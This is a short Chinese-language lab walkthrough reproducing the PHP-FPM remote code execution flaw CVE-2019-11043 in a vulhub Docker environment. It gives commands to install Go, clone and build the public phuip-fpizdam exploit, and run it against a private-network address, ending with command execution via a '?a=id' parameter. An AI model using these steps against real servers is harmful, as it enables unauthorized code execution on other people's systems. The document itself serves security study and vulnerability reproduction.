PHP-FPM远程代码执行漏洞
php-fpm
PHP-FPM(FastCGI Process Manager:FastCGI进程管理器)是一个PHPFastCGI管理器,对于PHP 5.3.3之前的php来说,是一个补丁包,旨在将FastCGI进程管理整合进PHP包中。如果你使用的是PHP5.3.3之前的PHP的话,就必须将它patch到你的PHP源代码中,在编译安装PHP后才可以使用。
漏洞简述
在长亭科技举办的 Real World CTF 中,国外安全研究员 Andrew Danau 在解决一道 CTF 题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。
在使用一些有错误的Nginx配置的情况下,通过恶意构造的数据包,即可让PHP-FPM执行任意代码。
环境搭建
cd /vulhub/php/CVE-2019-11043
docker-compose up -d
漏洞复现
使用写好的工具
https://github.com/neex/phuip-fpizdam
因为这个用golang
写的,所以要先安装go环境然后换源
apt-get install golang -y
go env -w GO111MODULE=on
go env -w GOPROXY=https://mirrors.aliyun.com/goproxy/,direct
下载EXP
git clone https://github.com/neex/phuip-fpizdam
下载好之后进入目录
cd phuip-fpizdam
编译
go build
使用EXP
go run . "http://192.168.3.151:8080/index.php"
执行成功,可以命令执行
http://192.168.3.151:8080/index.php?a=id
成了!结束!